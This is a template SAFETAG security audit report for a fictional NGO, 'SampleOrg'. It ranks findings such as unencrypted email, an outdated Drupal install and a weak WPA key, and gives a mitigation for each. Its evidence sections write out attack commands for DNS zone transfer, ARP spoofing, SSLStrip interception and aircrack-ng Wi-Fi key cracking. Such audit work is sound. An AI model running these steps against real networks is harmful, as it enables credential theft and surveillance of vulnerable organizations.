SAFETAG Audit Report

SampleOrg

Sample, EG // 2013/01/02 to 2013/03/04

Prepared by

- SAFETAG Auditors

About SAFETAG

SAFETAG is the Security Auditing Framework and Evaluation Template for Advocacy Groups. This Creative Commons framework aims to make traditional penetration testing and risk assessment methodologies more relevant to small, non-profit human rights organizations based in (or operating in) the developing world.

Visit https://SAFETAG.org for more information.

CONFIDENTIAL

NOTE THAT THIS DOCUMENT CONTAINS SENSITIVE MATERIALS, INCLUDING PERSONALLY IDENTIFIABLE INFORMATION, PASSWORDS, AND DETAILED ANALYSES OF NETWORK WEAKNESSES, SOME OF WHICH COULD BE REMOTELY EXPLOITED.

CONTENTS

INTRODUCTION TO SAFETAG AUDIT REPORTS

SAFETAG is organized into categories, starting with information and vulnerabilities which are exploitable from remote locations, moving towards vulnerabilities which require increasingly more physical presence, listed below.

1. **Research**
   The research component covers information and risks that can be discovered using free online search engines, as well as investigating websites and email. This may uncover semi-sensitive information that should not be public, as well as provide leads for further analysis.
2. **Remote**
   This section goes into deeper detail on the findings revealed through the research phase, as well as further data points discussed with staff on the ground. This ensures remotely hosted services (hosted websites, email, extranets) are up to date and have secure connections.
3. **Perimeter:**
   Perimeter assessments focus on vulnerabilities which an adversary could exploit by being near the office (e.g. in a taxi idling in front of the office), but without entering the office or explicitly making themselves known. Much of this looks at the wireless network and best practices for security there.
4. **Local**
   Local risks include challenges that become worrisome once a network has been compromised – to have a resilient "defense in depth" methodology, placing all your trust in any one part of an office (e.g. the firewall, or the wifi network password) is not enough. Ensuring on-network components are secured are just as important.
5. **Physical Access**
   This component focuses on explicit risks of an adversary having in-person access (through a raid or theft, for example, but also confiscation of devices from staff at a border crossing). Unlike the previous components, the vulnerabilities discussed here cannot be exploited remotely.
6. **Staff**
   This final section discusses risks both that an organization faces from staff, as well as risks specifically to staff, and how to best mitigate them.

This report only includes issues which were discovered as likely risks, so it is entirely possible to not have any issues on specific items in a section.

PRIORITY NOTES

For each issue discovered, the SAFETAG audit team will assign a priority ranking.

Priority	Recommended Action
Urgent	This vulnerability creates a high risk for staff or the core operations of the organization, and should be immediately addressed.
High	This should be addressed quickly, as it provides a significant risk that could endanger the organization.
Medium	This issue should be addressed soon, it may have a more limited scope or require other attacks in parallel, but should not be ignored.
Low	This does not pose an immediate risk but should be considered, as it still exposes some level of vulnerability which could become more serious/
Information	There is no risk associated with this issue, nor is there an immediate action to take. This note is provided for organizational planning, purchasing, or other related purposes.

Executive Summary

In this space, the auditors should summarize the most high-risk findings and provide mitigation guidance. This nevertheless should be targeted at the NGO director level.

Research Findings

Each of these sections should build on the section description above, and summarize the issues found in more detail, or explain clearly that no specific issues were revealed in the audit.

Remote Findings

Perimeter Findings

Local Findings

Physical Access Findings

Issue Summary

Issue	Priority	Mitigation
1.1.1 DNS provider allows anonymous DNS zone transfer requests	Low	Eliminate or limit Zone Transfer permissions
1.1.2 MX Record Assessment	Info	No Specific Mitigation Needed
2.1.1 Email passwords are sent (SMTP) and received (IMAP, POP3) unencrypted	High	Mandatory (SSL, TLS or HTTPS) encryption on all authenticated services (especially email)
2.1.2 Email messages are sent (SMTP) and received (IMAP, POP3) unencrypted	High	Mandatory (SSL, TLS or HTTPS) encryption on all authenticated services (especially email)
2.1.3 Webmail passwords are sent and received unencrypted (non-HTTPS)	High	Mandatory (SSL, TLS or HTTPS) encryption on all authenticated services (especially email)
2.1.4 Webmail messages are sent and received unencrypted (non-HTTPS)	High	Mandatory (SSL, TLS or HTTPS) encryption on all authenticated services (especially email)
2.2.1 Website passwords are sent unencrypted	High	Implement SSL
2.2.2 Website CMS/software is out of date or custom	Medium	Update CMS software, focusing first on security releases
2.3.1 Hosted services research [STUB]	Info	<mitigation title>
2.4.1 Extranet services research [STUB]	Info	<mitigation title>
3.1.1 Weak WiFi key (WPA)	High	Choose a strong WPA key for the wireless LAN
3.1.2 WPS (pin entry) weakens WiFi security [STUB]	High	<mitigation>
3.1.3 Weak WiFi encryption (WEP) [STUB]	High	Upgrade to WPA2 Encryption
4.1.1 Outdated Java browser plugins	High	Update key software on staff machines
5.1.1 Firewire ports and expansion	Medium	Remove FireWire Drivers, completely turn off computer

slots can be abused to obtain data that are thought to be encrypted		when at risk
5.1.2 Insecure storage of sensitive data, particularly on laptops of traveling staff	High	
5.1.3 Data on office workstations and servers are unencrypted	High	

Detailed Descriptions

Issue: 1.1.1 DNS provider allows anonymous DNS zone transfer requests

Priority	Low
Hosts affected	

An overly permissive domain name service (DNS) provider allows an attacker to enumerate online services that the organization might think are hidden because they have not been (intentionally) published. A zone transfer returns all of the hostnames at a particular domain, or zone. So, a request for *sample.org* may return *www.sample.org*, *webmail.sample.org* and *ftp.sample.org*, along with other less obviously guessable targets, such as *wordpress-testing.sample.org*.

While any user should be able to use a name server to look up a hostname and convert it to the corresponding IP address, most well-administered name servers allow full zone transfer requests only from a specific list of authorized locations (often themselves subsidiary name servers). Responding to zone requests from anyone on the Internet is comparable to providing an inventory of office locations, pending projects and service providers to anyone who asks. As such, it is not inherently dangerous, but it does require that the organization not rely on the assumption that unpublicized URLs are in fact secret.

Evidence

1.1.1 [sample evidence] DNS provider allows anonymous DNS zone transfer requests

The DNS Provider for sample.org allows anonymous DNS zone transfers, revealing subdomain information

Description and Walkthrough

An anonymous zone transfer request revealed the following subdomains:

Determine the authoritative name server(s) for the organization's primary domain:

```
$ host -t ns sample.org
sample.org name server ns1.something.net.
sample.org name server ns2.something.net.
```

Attempt a zone transfer on that domain, using that name server:

```
$ host -l sample.org ns1.something.net
Using domain server:
Name: ns1.something.net
Address: 256.0.0.1#53
Aliases:

www.sample.org has address 256.0.0.2
mail.sample.org has address 256.0.0.3
webmail.sample.org has address 256.0.0.4
ftp.sample.org has address 256.0.0.5
foo.sample.org has address 256.0.0.6
```

```
bar.sample.org has address 256.0.0.7
baz.sample.org has address 256.0.0.8
p.
```

Mitigation

Eliminate or limit Zone Transfer permissions

In most cases, the DNS Zone Transfer policies will be set by your domain name provider; and most providers automatically limit anonymous zone transfers. If yours does not, you will need to work with their support team to prevent this, or switch to a different DNS provider.

If your organization maintains its own DNS servers, the administrator of those servers should check the zone transfer policies to prevent anonymous transfers.

Issue: 1.1.2 MX Record Assessment

Priority	Info
Hosts affected	

MX, or Mail Exchange, records are required to be public for any domain you wish to receive email through. These records can still reveal sensitive information about your hosting set-up.

MX Records can reveal vulnerable mail servers or information about other services hosted internally. The research phase records all the non-invasive information about the record and where it points, for later analysis in 2.1 / Email assessment.

Evidence

1.1.2 [sample evidence] MX record

MX Record reveals sensitive information

Description and Walkthrough

MX Record research reveals self-hosted email server at SampleOrg's offices:

mail.sample.org has address 256.0.0.3

Determine the authoritative name server(s) for the organizations primary domain:

```
root@bt:~# host -t mx sample.org
sample.org mail is handled by 21 mail.sample.org
```

Determine the IP address of the mail server:

```
root@bt:~# host mail.sample.org
mail.sample.org has address 256.0.0.3
```

Mitigation

No Specific Mitigation Needed

Unless the research or 2.1 reveals specific vulnerabilities, there is no action to take. Unless you have sufficient in-house expertise, it is often recommended to not host email servers. While self-hosted email provides more control and potentially security, managing the security of the server is a complex job. Other mail services, such as MailControl or Postini, also can provide some level of protection by being a first-pass check for spam and viruses, and (slightly) reducing the visibility of your organizational mail server.

Issue: 2.1.1 Email passwords are sent (SMTP) and received (IMAP, POP3) unencrypted

Priority	High
Hosts affected	

An attacker with access to the same local network as a staff member, when that staff member sends or receives email using Microsoft Outlook (or any other email client), can easily and invisibly obtain that staff member's email password. This attacker could be someone, such as a patron of the Internet cafe where a staff member is working, who just happens to be using the same local network to connect to the Internet. Or, she could work for an organization with privileged access to the relevant network, such as SampleOrgs Internet Service Provider (ISP) or a state surveillance agency.

Even an informed staff member who attempts to configure his email client to require SSL or TLS encryption will be unable to do so because the mail server does not support it.

Evidence

2.1.1 [sample evidence] Email passwords are sent (SMTP) and received (IMAP, POP3) unencrypted

The attack log below demonstrates the ease with which <SafetagSubject> staff members' passwords can be stolen as they sign in to the IMAP or POP3 servers. If the attacker is within the local network, she can target all email users in one go. If not, she can only attack users who are connecting to email from outside the office, and she must have access to the same network as the victim in order to do so. This could be at the victim's home, an Internet cafe, an airport, etc.

The core vulnerability, here, is the lack of support for encryption during authentication to, or utilization of, the mailservers administered by the organizations third-party email provider. An attacker would follow the following steps to carry out this attack.

Description and Walkthrough

Step 1: The attacker can confirm that the vulnerability is present, using any email client, as long as she knows the organizations email domain:

```
<Thunderbird screenshot>
```

Figure 1: Thunderbird displaying a vulnerable mailserver

Step 2: The attacker then tricks the victim into routing all of his traffic through the attacker's machine. This involves making a simple request to the victims IP address, which is not difficult to do. Computers are rarely configured to ignore such requests.

```
$ sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
$ sudo arpspoof -i wlan0 -t 192.168.1.99 192.168.1.1
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
...
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
```

In the example above, only a single victim (192.168.1.99) is being targeted, but the attack works fine against multiple victims, or even against the entire network. In other words, the attacker does not need to know which IP address (on the office or Internet cafe LAN, for example) belongs to her target. Furthermore, the victim is extremely unlikely to notice any sign that this phase of the attack is taking place.

Step 3: At this point, if the attacker is looking for staff email passwords, all she needs to do is launch a packet-sniffer, such as Wireshark, and scan through the POP3, IMAP or SMTP traffic for a password, which will appear as soon as the victim checks his email (or when Outlook performs an automatic refresh):

```
<wireshark screenshot>
```

Figure 2: Wireshark displaying a victims password

The Webmail version of this attack is nearly identical, though the Wireshark packet capture would look slightly different.

MITIGATION

MANDATORY (SSL, TLS OR HTTPS) ENCRYPTION ON ALL AUTHENTICATED SERVICES (ESPECIALLY EMAIL)

Those who use Outlook, or some other email client, should only be allowed to connect to the organization's mail server using SSL or TLS encryption. Attempts to connected without encryption should fail. All staff mail clients should be reconfigured accordingly.

ISSUE: 2.1.2 EMAIL MESSAGES ARE SENT (SMTP) AND RECEIVED (IMAP, POP3) UNENCRYPTED

Priority	High
Hosts affected	

An attacker with access to the same local network as a staff member, when that staff member sends or receives email using Microsoft Outlook (or any other email client), can easily and invisibly read, record or modify all messages in-transit to and from the organizations mail server. This attacker could be someone, such as a patron of the Internet cafe where a staff member is working, who just happens to be using the same local network to connect to the Internet. Or, she could work for an organization with privileged access to the relevant network, such as SampleOrgs Internet Service Provider (ISP) or a state surveillance agency.

Even an informed staff member who attempts to configure his email client to require SSL or TLS encryption will be unable to do so because the mail server does not support it.

EVIDENCE

2.1.2 [SAMPLE EVIDENCE] EMAIL MESSAGES ARE SENT (SMTP) AND RECEIVED (IMAP, POP3) UNENCRYPTED

DESCRIPTION AND WALKTHROUGH

If the attacker wishes to observe the victim's email traffic (most likely because she failed to capture an unencrypted password, which would have allowed her to log in as the victim himself and read his email directly), she may need to carry out a second, slightly more complex attack.

To capture outgoing (SMTP) messages, the attack is nearly identical to the password attack described above.

Step 1: The attacker tricks the victim into routing all of his traffic through the attacker's machine. This involves making a simple request to the victims IP address, which is not difficult to do. Computers are rarely configured to ignore such requests.

```
$ sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
$ sudo arpspoof -i wlan0 -t 192.168.1.99 192.168.1.1
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
...
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
```

In the example above, only a single victim (192.168.1.99) is being targeted, but the attack works fine against multiple victims, or even against the entire network. In other words, the attacker does not need to know which IP address (on the office or Internet cafe LAN, for example) belongs to her target. Furthermore, the victim is extremely unlikely to notice any sign that this phase of the attack is taking place.

Step 2: At this point, if the attacker is looking for outgoing email, all she needs to do is launch a packet-sniffer, such as Wireshark, and scan through the SMTP traffic for email messages, which will appear as soon as they are sent:

```
<wireshark screenshot>
```

Figure 1: Wireshark displaying an email message sent by the victim

Step 3: In order to monitor incoming (POP3 or IMAP) messages, the attacker must use other technique to ensure that responses to the victim actually pass through her machine before they arrive at their intended recipient. The most straightforward tool for this sort of thing is designed to attack Web traffic, but the same techniques works on POP3 and IMAP traffic. (This tool, SSLStrip, was written to facilitate more advanced testing of Web services that *do* implement encryption, but that do so incorrectly. In any case, it works fine for our purposes here.)

```
$ sslstrip -a -l 12345 -w sslstrip.log
```

Step 4: The attacker then uses iptables to route a portion of the victims traffic (in this case, IMAP traffic destined for port 143) through the SSLStrip tool, which rewrites headers such that responses come to her first, before continuing along to the victim. She then monitors the tool's output for email messages:

```
$ iptables -t nat -A PREROUTING -p tcp --destination-port 143 j REDIRECT --to-port
12345
$ tail -f sslstrip.log
```

(For POP3, the attacker would use port 110 instead of port 143, but the attack is otherwise identical.) At this point, the contents of the sslstrip.log file contains a copy of incoming IMAP traffic, including any email messages the victim might read while he is being observed.

```
<message snippet from sslstrip.log>
```

Figure 2: Attacker viewing an incoming email message intended for the victim

Again, this same technique, with minor modifications, would work to monitor incoming email messages downloaded through Webmail

MITIGATION

MANDATORY (SSL, TLS OR HTTPS) ENCRYPTION ON ALL AUTHENTICATED SERVICES (ESPECIALLY EMAIL)

Those who use Outlook, or some other email client, should only be allowed to connect to the organization's mail server using SSL or TLS encryption. Attempts to connected without encryption should fail. All staff mail clients should be reconfigured accordingly.

ISSUE: 2.1.3 WEBMAIL PASSWORDS ARE SENT AND RECEIVED UNENCRYPTED (NON-HTTPS)

Priority	High
Hosts affected	

An attacker with access to the same local network as a staff member, when that staff member sends or receives email using the organization's Webmail service, can easily and invisibly obtain that staff member's email password. This attacker could be someone, such as a patron of the Internet cafe where a staff member is working, who just happens to be using the same local network to connect to the Internet. Or, she could work for an organization with privileged access to the relevant network, such as SampleOrgs Internet Service Provider (ISP) or a state surveillance agency.

Even an informed staff member, who attempts to enter the secure (https://) alternative webmail address when logging in, will be unable to do so, because the Webmail application does not support it.

EVIDENCE

2.1.3 [SAMPLE EVIDENCE] WEBMAIL PASSWORDS ARE SENT AND RECEIVED UNENCRYPTED (NON-HTTPS)

DESCRIPTION AND WALKTHROUGH

The attack log below demonstrates the ease with which SampleOrg staff members' passwords can be stolen as they sign in to Webmail. If the attacker is within the local network, she can target all Webmail users in one go. If not, she can only attack users who are connecting to Webmail from outside the office, and she must have access to the same network as the victim in order to do so. This could be at the victim's home, an Internet cafe, an airport, etc.

The core vulnerability, here, is the lack of support for encryption during authentication to, or utilization of, the organization's Webmail service. An attacker would follow the following steps to carry out this attack.

Step 1: As long a she knows the organization's Webmail address, the attacker can confirm that the vulnerability is present simply by checking that service's sign in form does not submit to an HTTPS address:

```
<Browser screenshot: non-HTTPS Webmail sign-in page>

<HTML "source" screenshot: non-HTTPS value of form tag "action=" attribute>
```

Figure 1: Browser displaying a vulnerable Webmail sign-in page

Step 2: The attacker then tricks the victim into routing all of his traffic through the attacker's machine. This involves making a simple request to the victims IP address, which is not difficult to do. Computers are rarely configured to ignore such requests.

```
$ sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
$ sudo arpspoof -i wlan0 -t 192.168.1.99 192.168.1.1

00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
...
```

```
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
```

In the example above, only a single victim (192.168.1.99) is being targeted, but the attack works fine against multiple victims, or even against the entire network. In other words, the attacker does not need to know which IP address (on the office or Internet cafe LAN, for example) belongs to her target. Furthermore, the victim is extremely unlikely to notice any sign that this phase of the attack is taking place.

Step 3: At this point, if the attacker is looking for staff email passwords, all she needs to do is launch a packet-sniffer, such as Wireshark, and scan through the HTTP traffic for a password, which will appear as soon as the victim checks his email:

```
<wireshark screenshot>
```

Figure 2: Wireshark displaying a victims password

The version of this attack for users of Outlook (or other email clients) is nearly identical, though the Wireshark packet capture would look slightly different.

Mitigation

Mandatory (SSL, TLS or HTTPS) encryption on all authenticated services (especially email)

For Webmail, this means installing a valid, signed SSL certificate and disabling access through the insecure (http://) Web address. Attempts to access the insecure address should be redirected to the secure (https://) URL.

Issue: 2.1.4 Webmail messages are sent and received unencrypted (non-HTTPS)

Priority	High
Hosts affected	

An attacker with access to the same local network as a staff member, when that staff member sends or receives email using the organization's Webmail service, can easily and invisibly read, record or modify all messages in-transit to and from the Webmail server. This attacker could be someone, such as a patron of the Internet cafe where a staff member is working, who just happens to be using the same local network to connect to the Internet. Or, she could work for an organization with privileged access to the relevant network, such as SampleOrgs Internet Service Provider (ISP) or a state surveillance agency.

Even an informed staff member, who attempts to enter the secure (https://) alternative webmail address when logging in, will be unable to do so, because the Webmail application does not support it.

Evidence

2.1.4 [sample evidence] Webmail messages are sent and received unencrypted (non-HTTPS)

If the attacker wishes to observe the victim's email traffic (most likely because she failed to capture an unencrypted password, which would have allowed her to log in as the victim himself and read his email directly), she may need to carry out a second, slightly more complex attack.

DESCRIPTION AND WALKTHROUGH

To capture outgoing Webmail messages, the attack is nearly identical to the password attack described above.

Step 1: The attacker tricks the victim into routing all of his traffic through the attacker's machine. This involves making a simple request to the victims IP address, which is not difficult to do. Computers are rarely configured to ignore such requests.

```
$ sudo sh -c 'echo 1 > /proc/sys/net/ipv4/ip_forward'
$ sudo arpspoof -i wlan0 -t 192.168.1.99 192.168.1.1
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
...
00:11:22:33:44:55 aa:bb:cc:dd:ee:ff 0806 42: arp reply 192.168.1.1 is-at
00:11:22:33:44:55
```

In the example above, only a single victim (192.168.1.99) is being targeted, but the attack works fine against multiple victims, or even against the entire network. In other words, the attacker does not need to know which IP address (on the office or Internet cafe LAN, for example) belongs to her target. Furthermore, the victim is extremely unlikely to notice any sign that this phase of the attack is taking place.

Step 2: At this point, if the attacker is looking for outgoing Webmail, all she needs to do is launch a packet-sniffer, such as Wireshark, and scan through the Web traffic for email messages, which will appear as soon as they are sent:

```
<wireshark screenshot>
```

Figure 1: Wireshark displaying a Webmail message sent by the victim

Step 3: In order to monitor incoming Webmail messages, the attacker must use some technique to ensure that responses to the victim actually pass through the attackers machine before they arrive. The second option does a better job of preventing others on the network from noticing that something unusual is happening. The most straightforward tool for this sort of thing, SSLStrip, was written to facilitate more advanced testing of Web services that *do* implement encryption, but that do so incorrectly. In any case, it works fine for our purposes as well.

```
$ sslstrip -a -l 12345 -w sslstrip.log
```

Step 4: After the arpspoof step above, the attacker uses iptables to route a portion of the victims traffic (in this case, Web traffic destined for port 80) through the SSLStrip tool, which rewrites headers such that responses come to her first, before continuing along to the victim. She then monitors the tool's output for incoming Webmail messages:

```
$ iptables -t nat -A PREROUTING -p tcp --destination-port 80 j REDIRECT --to-port
12345
$ tail -f sslstrip.log
```

At this point, the contents of the sslstrip.log file contains a copy of incoming Web traffic, including any Webmail messages the victim might read.

```
<message snippet from sslstrip.log>
```

Figure 2: Attacker viewing an incoming email message intended for the victim

Again, this same technique, with minor modifications, would work to monitor incoming email messages downloaded through POP3 or IMAP by Microsoft Outlook or some other email client.

Mitigation

Mandatory (SSL, TLS or HTTPS) encryption on all authenticated services (especially email)

For Webmail, this means installing a valid, signed SSL certificate and disabling access through the insecure (http://) Web address. Attempts to access the insecure address should be redirected to the secure (https://) URL.

Issue: 2.2.1 Website passwords are sent unencrypted

Priority	High
Hosts affected	

Administrative and user passwords are sent unencrypted

Without SSL security, any malicious actor on the same network, and any actor at the ISP or government level, could intercept this traffic and capture the administrative password easily. Further, without SSL, it is trivial for these same actors to intercept traffic intended for your website and capture user logins and profile information.

For websites which are updated through FTP, FTP is similarly insecure.

Evidence

2.2.1 [sample evidence] Website passwords are sent unencrypted

Users and website editors log in to the site at http://www.sampleorg.org/user/login. There is no SSL security on this page, nor does there appear to be the option to use SSL.

Description and Walkthrough

By default, all web traffic is unencrypted. For non-controversial website content, this is not a problem. However, as many websites have moved from uploading files on the backend to a front-end content management system, as well as becoming more complex with user accounts and interaction, this lack of security becomes problematic.

When an admin (or any user) logs in, their password is sent in the clear. This means anyone on the same network (at a coffee shop or workplace) as well as anyone in control of the network (coffee shop owner, workplace network admin, ISP, or government) can trivially intercept the password (often simply by searching the network traffic stream for password). This allows an adversary to have admin access to a website, post fake content, install malware, or attempt to discover other accounts where that same password may be used.

First, determine the login page, if there is not a user login link visible. Most CMS systems have a standard login path (for Drupal, it's /user/login, for example). Then, attempt to access this page through an SSL connection.

Mitigation

Implement SSL

HTTPS / SSLthis comes at a cost, both the SSL Certificate and often an upgrade to the hosting plan itself. However, without SSL, every passwordincluding the one used for admin access to the websitegoes across the Internet in the clear. This is immediately available to a state-level actor through the ISP, and can also be sniffed if accessed by a staff member on a shared wifi connection (at a coffeeshop or airport), and finally if the attacker has broken in to the office network (see the Local Access section). Enabling SSL (and making it the default for your site) also protects the users of your site.

If an organization updates their website via FTP, it is worth noting that FTP is similarly insecure. Many hosting providers provide SFTP or FTPS, (two different, but secure, FTP versions), or secure WebDAV to upload files. These should be used, turning plain FTP off altogether if possible.

When switching to SSL/Secure FTP after having used the plain versions, webmasters should also update all administrative passwords, and watch to make sure that no step along the way (hosting provider management/panel, file upload, CMS editing) goes over clear channels.

Issue: 2.2.2 Website CMS/software is out of date or custom

Priority	Medium
Hosts affected	

Content management systems require ongoing maintenance and updates to stay secure.

For websites using a content management system (Drupal, Wordpress, Joomla or similar), it is important to use a popular and open source tool (as opposed to a custom tool that a web design firm has put together for its customer base). Open source tools are more likely to have their security holes discovered and fixed at a rapid pace, but the burden remains on the organization to keep up to date with these security updates.

The top CMS tools have dashboards and other tools to help alert the webmaster to available updates, and security updates should be heeded quickly. For sites that hold password data, it is worth exploring additional security featuresthe built-in password security for even modern CMS systems is weak, but the methods to improve upon them vary widely depending on the system.

For sites built on custom CMS software which does not regularly receive updates, it is strongly advisable to migrate to a more standard, open source system.

Note that Static websitesthose created with a web design tool and uploaded to a serverare both more secure (no code to break) and also withstand denial of service attacks easier. However, these are more difficult to maintain and update, and work best only for brochure style sites.

Evidence

2.2.2 [SAMPLE EVIDENCE] WEBSITE CMS/SOFTWARE IS OUT OF DATE

The CMS running at http://www.sampleorg.org is out of date and opens up potential security vulnerabilities.

DESCRIPTION AND WALKTHROUGH

The publicly-accessible CHANGELOG file at http://www.sampleorg.org/CHANGELOG.txt reveals an out of date, and security-compromised (https://drupal.org/SA-CORE-2012-004), version of Drupal. Upgrade immediately.

```
Drupal 6.27, 2012-12-19
----------------------
- Fixed security issues (multiple vulnerabilities), see SA-CORE-2012-004.
Drupal 6.26, 2012-05-02
----------------------
- Fixed a small number of bugs.
- Made code documentation improvements.
```

For **Drupal**, try visiting /CHANGELOG.txt , which, if not manually removed, will reveal the most recent version of Drupal installed on the server. Other telltale signs depend on the specific Drupal release; http://corporate.adulmec.ro/blog/2010/drupal-detection-test-site-running-drupal maintains a detection tool.

For **Joomla**, default templates provide strong hints towards versions based on copyright dates. Specific versions can often be discovered using this guide: https://www.gavick.com/magazine/how-to-check-the-version-of-joomla.html

Wordpress sites tend to advertise their version number in the header of each webpage, such as

```
<meta name="generator" content="WordPress 3.3.1" />
```

There is a web-based tool with browser add-ons available here: http://www.whitefirdesign.com/tools/wordpress-version-check.html

For **other CMS systems**, try BuiltWith (http://builtwith.com)

MITIGATION

UPDATE CMS SOFTWARE, FOCUSING FIRST ON SECURITY RELEASES

Most popular CMS platforms provide emailed alerts and semi-automated ways to update their software. Make sure someone responsible for the website is either receiving these emails or checking regularly for available updates. Security updates should be applied immediately. It is a best practice however to have a test site where you can first deploy any CMS update before attempting it on a production site.

For custom CMS systems, it is strongly advisable to migrate to a more standard, open source system.

ISSUE: 2.3.1 HOSTED SERVICES RESEARCH [STUB]

Priority	Info
Hosts affected	

<description>

Evidence

2.3.1 [sample evidence] Hosted Services Research

<Summary, formerly description >

Description and Walkthrough

<description, formerly walkthrough>

Mitigation

<mitigation title>

<mitigation description>

Issue: 2.4.1 Extranet services research [STUB]

Priority	Info
Hosts affected	

<description>

Evidence

2.4.1 [sample evidence] Extranet services research [STUB]

<Summary, formerly description >

Description and Walkthrough

<description, formerly walkthrough>

Mitigation

<mitigation title>

<mitigation description>

Issue: 3.1.1 Weak WiFi key (WPA)

Priority	High
Hosts affected	

The organization's wireless Local Area Network (WLAN) protects the network and its users with WPA encryption. This is an important security measure, and a WPA-protected wireless network is much safer than an unencrypted open network or a WEP-protected network. (WEP is fundamentally flawed, and extremely simple attacks have been widely known for over a decade.) However, the ease with an attacker could guess the WPA key, or WiFi

password, is a serious issue, particularly considering its importance as an essential perimeter control. An attacker who gains access to the wireless LAN immediately bypasses many protections that network administrators, and other users of the office network, often take for granted. Put another way, anyone able to guess the WPA key is immediately inside the firewall.

Using a laptop and a wireless card with a standard, internal antenna (or using a customized smartphone), an attacker could easily position himself close enough to the office to carry out the first phase of this attack, which would only take a few minutes. The second phase, which is supposed to be the difficult part, would take even less time. From the privacy of his own home or office, the attacker could use a minimally customized password dictionary to guess SampleOrg's WPA key in less than five seconds.

Evidence

3.1.1 [Sample evidence] Weak WiFi key (WPA)

Description and Walkthrough

An attacker can crack the SampleOrg office's WPA key in approximately <time> with a short and minimally customized password dictionary containing approximately <number> entries.

Step 1: The attacker customizes his WiFi password dictionary, adding phrases related to the subject: organization name, street address, phone number, email domain, wireless network name, etc. Common password fragments are included, as well: qwerty, 12345, asdf and all four-digit dates back to the year 2001, for example, among others. He may then add hundreds or thousands of words (in English and/or other relevant languages). He may then fold his dictionary, so that it includes an entry for each *pair* of these strings:

```
$ for foo in `cat pwdlist.txt`; do for bar in `cat pwdlist.txt`; do printf
$foo$bar\n; done; done > pwdpairs.txt
$ cat pwdlist.txt >> pwdpairs.txt
```

Step 2: The attacker would then begin recording all (encrypted) wireless traffic associated with the organizations access point:

```
$ sudo airodump-ng -c 1 --bssid 1A:2B:3C:4D:5E:6F -w sampleorg_airodump mon0

 CH  1 ][ Elapsed: 12 mins ][ 2012-01-23 12:34 ][ fixed channel mon0: -1
 BSSID              PWR RXQ  Beacons    #Data, #/s  CH  MB   ENC  CIPHER AUTH ESSID
 1A:2B:3C:4D:5E:6F  -70 100    12345    43210    6   1  12e. WPA2 CCMP   PSK
sampleorg
 BSSID              STATION            PWR   Rate    Lost  Packets  Probes
 1A:2B:3C:4D:5E:6F  01:23:45:67:89:01    0    0e- 0e   186    12345
 1A:2B:3C:4D:5E:6F  AB:CD:EF:AB:CD:EF    0    1e- 1      0     1234
 1A:2B:3C:4D:5E:6F  AA:BB:CC:DD:EE:FF  -76    0e- 1      0     1122
 1A:2B:3C:4D:5E:6F  A1:B2:C3:D4:E5:F6  -80    0e- 1      0     4321
```

Step 3: Next, he would force a wireless client, possibly chosen at random, to disconnect and reconnect (an operation that is nearly always invisible to the user). In the example below, AB:CD:EF:AB:CD:EF is the MAC address of a laptop that was briefly disconnected in this way.

```
$ aireplay-ng -0 1 -a 1A:2B:3C:4D:5E:6F -c AB:CD:EF:AB:CD:EF mon0
```

```
 15:54:48  Waiting for beacon frame (BSSID: 1A:2B:3C:4D:5E:6F) on channel -1
 15:54:49  Sending 64 directed DeAuth. STMAC: [AB:CD:EF:AB:CD:EF] [ 5| 3 ACKs]
```

Step 4: The goal of this above step is to capture the cryptographic *handshake* that occurs when the targeted client reconnects. This handshake does not contain the WPA key itself, but the attacker can use it to test each word in his dictionary, one at a time, to see if it is the correct key:

```
$ aircrack-ng -w pwdpairs.txt -b 1A:2B:3C:4D:5E:6F sampleorg_airodump*.cap

 Opening sampleorg_airodump-01.cap
 Reading packets, please wait...
                                Aircrack-ng 1.1
                    [00:00:05] 9123 keys tested (1876.54 k/s)
                           KEY FOUND! [ sample2012 ]

      Master Key     : 2A 7C B1 92 C4 61 A9 F6 7F 98 6B C1 AB 53 7A 0F
                       3C AF D7 9A 0C BD F0 4B A2 44 EE 5B 13 94 12 12

      Transient Key  : A9 C8 AD 47 F9 71 2A C6 55 F8 F0 73 FB 9A E6 1D
